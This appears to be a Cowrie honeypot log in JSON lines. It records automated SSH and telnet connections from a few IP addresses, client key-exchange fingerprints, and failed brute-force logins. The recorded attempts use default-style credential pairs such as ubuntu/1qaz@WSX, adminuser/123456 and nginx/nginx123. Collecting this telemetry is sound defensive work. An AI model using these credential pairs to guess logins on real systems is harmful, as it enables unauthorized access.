{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:51.057900Z","src_ip":"192.109.200.237","session":"f62495a60792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:51.302014Z","src_ip":"192.109.200.237","session":"f62495a60792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:52.386396Z","src_ip":"192.109.200.237","session":"f62495a60792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34492,"dst_ip":"159.203.135.109","dst_port":22,"session":"35c32f5a07ea","protocol":"ssh","message":"New connection: 192.109.200.237:34492 (159.203.135.109:22) [session: 35c32f5a07ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:54.329897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:54.334647Z","src_ip":"192.109.200.237","session":"35c32f5a07ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:54.417237Z","src_ip":"192.109.200.237","session":"35c32f5a07ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:54.785335Z","src_ip":"192.109.200.237","session":"35c32f5a07ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:55.870399Z","src_ip":"192.109.200.237","session":"35c32f5a07ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34502,"dst_ip":"159.203.135.109","dst_port":22,"session":"33b33c03a944","protocol":"ssh","message":"New connection: 192.109.200.237:34502 (159.203.135.109:22) [session: 33b33c03a944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:57.820176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:57.825252Z","src_ip":"192.109.200.237","session":"33b33c03a944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:57.907885Z","src_ip":"192.109.200.237","session":"33b33c03a944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.88761305809021,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:57.919004Z","src_ip":"152.42.224.71","session":"be3b8533a4b5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:58.161122Z","src_ip":"192.109.200.237","session":"33b33c03a944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:26:59.247188Z","src_ip":"192.109.200.237","session":"33b33c03a944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58504,"dst_ip":"159.203.135.109","dst_port":22,"session":"602626726ea4","protocol":"ssh","message":"New connection: 192.109.200.237:58504 (159.203.135.109:22) [session: 602626726ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:01.045107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:01.050210Z","src_ip":"192.109.200.237","session":"602626726ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:01.133595Z","src_ip":"192.109.200.237","session":"602626726ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:01.381175Z","src_ip":"192.109.200.237","session":"602626726ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35584,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3b7eef815b6","protocol":"telnet","message":"New connection: 152.42.224.71:35584 (10.17.0.5:23) [session: b3b7eef815b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:01.833556Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:02.495874Z","src_ip":"192.109.200.237","session":"602626726ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58512,"dst_ip":"159.203.135.109","dst_port":22,"session":"93338d393196","protocol":"ssh","message":"New connection: 192.109.200.237:58512 (159.203.135.109:22) [session: 93338d393196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:04.237160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:04.242460Z","src_ip":"192.109.200.237","session":"93338d393196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:04.325119Z","src_ip":"192.109.200.237","session":"93338d393196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:04.572565Z","src_ip":"192.109.200.237","session":"93338d393196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:05.658077Z","src_ip":"192.109.200.237","session":"93338d393196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58526,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ba0bbafabd","protocol":"ssh","message":"New connection: 192.109.200.237:58526 (159.203.135.109:22) [session: e0ba0bbafabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:07.524219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:07.529732Z","src_ip":"192.109.200.237","session":"e0ba0bbafabd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:07.612006Z","src_ip":"192.109.200.237","session":"e0ba0bbafabd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:07.858566Z","src_ip":"192.109.200.237","session":"e0ba0bbafabd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:08.944841Z","src_ip":"192.109.200.237","session":"e0ba0bbafabd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60896,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93ccfbe1677","protocol":"telnet","message":"New connection: 152.42.224.71:60896 (10.17.0.5:23) [session: a93ccfbe1677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:09.605057Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43904,"dst_ip":"159.203.135.109","dst_port":22,"session":"664010be2884","protocol":"ssh","message":"New connection: 192.109.200.237:43904 (159.203.135.109:22) [session: 664010be2884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:10.781561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:10.859315Z","src_ip":"192.109.200.237","session":"664010be2884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:10.980941Z","src_ip":"192.109.200.237","session":"664010be2884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:11.230850Z","src_ip":"192.109.200.237","session":"664010be2884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60904,"dst_ip":"10.17.0.5","dst_port":23,"session":"11d918377b6c","protocol":"telnet","message":"New connection: 152.42.224.71:60904 (10.17.0.5:23) [session: 11d918377b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:11.806115Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:12.316251Z","src_ip":"192.109.200.237","session":"664010be2884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43908,"dst_ip":"159.203.135.109","dst_port":22,"session":"899fd34e051a","protocol":"ssh","message":"New connection: 192.109.200.237:43908 (159.203.135.109:22) [session: 899fd34e051a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:14.203252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:14.209751Z","src_ip":"192.109.200.237","session":"899fd34e051a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:14.292450Z","src_ip":"192.109.200.237","session":"899fd34e051a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:14.541097Z","src_ip":"192.109.200.237","session":"899fd34e051a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60920,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf0c4daba25","protocol":"telnet","message":"New connection: 152.42.224.71:60920 (10.17.0.5:23) [session: ddf0c4daba25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:14.930684Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:15.625908Z","src_ip":"192.109.200.237","session":"899fd34e051a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43924,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec59acc8355c","protocol":"ssh","message":"New connection: 192.109.200.237:43924 (159.203.135.109:22) [session: ec59acc8355c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:17.331924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:17.336999Z","src_ip":"192.109.200.237","session":"ec59acc8355c","protocol":"ssh"}
